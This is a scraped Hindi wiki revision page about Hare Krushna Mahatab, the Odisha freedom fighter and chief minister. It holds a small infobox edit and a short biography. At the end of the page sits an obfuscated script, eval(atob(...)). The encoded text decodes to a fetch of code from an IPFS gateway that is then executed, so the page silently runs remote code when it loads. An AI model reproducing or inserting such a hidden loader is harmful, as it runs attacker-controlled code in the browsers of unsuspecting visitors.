हरे कृष्ण मेहताब: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
No edit summary |
आदित्य चौधरी (talk | contribs) m (Text replace - "अविभावक" to "अभिभावक") |
||
Line 9: | Line 9: | ||
|मृत्यु स्थान= | |मृत्यु स्थान= | ||
|मृत्यु कारण= | |मृत्यु कारण= | ||
| | |अभिभावक= | ||
|पति/पत्नी= | |पति/पत्नी= | ||
|संतान= | |संतान= |
Revision as of 04:58, 29 May 2015
हरे कृष्ण मेहताब
| |
पूरा नाम | हरे कृष्ण मेहताब |
जन्म | 21 नवम्बर, 1899 |
जन्म भूमि | बालासोर, उड़ीसा |
मृत्यु | 2 जनवरी, 1987 |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी, भूतपूर्व मुख्यमंत्री, उड़ीसा |
धर्म | हिन्दू धर्म |
कार्य काल | मुख्यमंत्री, 1946 से 1950 तक फिर 1956 से 1961 तक। |
अन्य जानकारी | हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। 1953 में उन्हें संसद में कांग्रेस पार्टी का महासचिव नियुक्त किया गया तथा लोक सभा में शासक वर्ग की पार्टी का उपनेता बनाया गया। |
हरे कृष्ण मेहताब (जन्म- 21 नवम्बर, 1899, बालासोर, उड़ीसा; मृत्यु- 2 जनवरी, 1987) 'भारतीय राष्ट्रीय कांग्रेस' के प्रमुख नेताओं में से एक थे। आधुनिक उड़ीसा के निर्माताओं में गिने जाने वाले हरे कृष्ण मेहताब भारत के स्वतंत्रता संग्राम में अग्रणी रहे थे। वे 1946 से 1950 तक तथा फिर 1956 से 1961 तक उड़ीसा के मुख्यमंत्री भी रहे। हरे कृष्ण मेहताब उड़ीसा में 'उत्कल केसरी' की उपाधि से भी जाने जाते थे।
- हरे कृष्ण मेहताब उड़ीसा के बालासोर ज़िले में एक जमींदार परिवार में 21 नवम्बर, 1899 में पैदा हुए थे।
- कटक के 'रवेनशा कॉलिज' से हरे कृष्ण मेहताब ने शिक्षा प्राप्त की।
- हरे कृष्ण मेहताब ने रामकृष्ण मिशन के साथ सहयोग दिया। उन्होंने 1920-1921 के 'असहयोग आन्दोलन' में भी भाग लिया।
- सन 1921 में हरे कृष्ण मेहताब को बालासोर ज़िले की कांग्रेस कमेटी का सचिव चुना गया।
- 1938 में भी उन्हें कांग्रेस कमेटी का सचिव चुना गया और इसी वर्ष उन्हें उड़ीसा प्रान्तीय समिति का अध्यक्ष बनाया गया।
- वर्ष 1946 से 1950 तक तथा फिर 1956 से 1961 तक हरे कृष्ण मेहताब उड़ीसा के मुख्यमंत्री भी रहे।
- हरे कृष्ण मेहताब कुछ वर्षों तक कांग्रेस कार्यकारिणी समिति के सदस्य रहे। सन 1953 में उन्हें संसद में कांग्रेस पार्टी का महासचिव नियुक्त किया गया तथा लोक सभा में शासक वर्ग की पार्टी का उपनेता बनाया गया।
- डॉ. हरे कृष्ण मेहताब ने उड़ीसा में 'जन कांग्रेस' नामक दल का गठन किया तथा 1967 में स्वतंत्र पार्टी के साथ संयुक्त मंत्रालय का गठन किया।
- उड़ीसा में हरे कृष्ण मेहताब ने दो महत्त्वपूर्ण कार्य किये। भुवनेश्वर को उड़ीसा की नयी राजधानी बनाया तथा सम्भलपुर में 'हीराकुण्ड बांध परियोजना' शुरू की।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>